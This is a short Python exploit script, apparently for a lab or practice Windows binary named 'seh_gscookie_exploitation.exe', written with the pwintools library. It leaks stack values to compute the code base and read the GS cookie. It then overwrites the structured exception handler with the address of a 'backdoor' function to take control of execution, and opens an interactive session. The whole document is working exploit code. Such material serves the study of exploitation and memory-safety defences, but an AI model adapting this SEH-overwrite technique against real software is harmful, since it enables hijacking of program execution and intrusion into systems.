from pwintools import *

p = Process("./Release/seh_gscookie_exploitation.exe")
#p.spawn_debugger(breakin=False)

stack_data = [u32(c) & 0xffffffff for c in cut(p.recv(0x80), 4)]

for i in range(len(stack_data)):
    print(i, hex(stack_data[i]))

code_base = stack_data[6] - 0x122C
assert(code_base & 0xffff == 0)
assert(code_base == p.libs['seh_gscookie_exploitation.exe'])
log.info('code base: 0x{:08x}'.format(code_base))

log.info('GS Cookie: 0x{:08x}'.format(stack_data[2]))

backdoor_ofs = 0x1040

## Since the SEH handler _except_handler4 checks GS cookie, simply overwriting the handler suffices for PC control.
payload  = p32(0) * 6
payload += p32(code_base + backdoor_ofs)

p.send(payload)

log.info('Starting interactive mode ...')
p.interactive()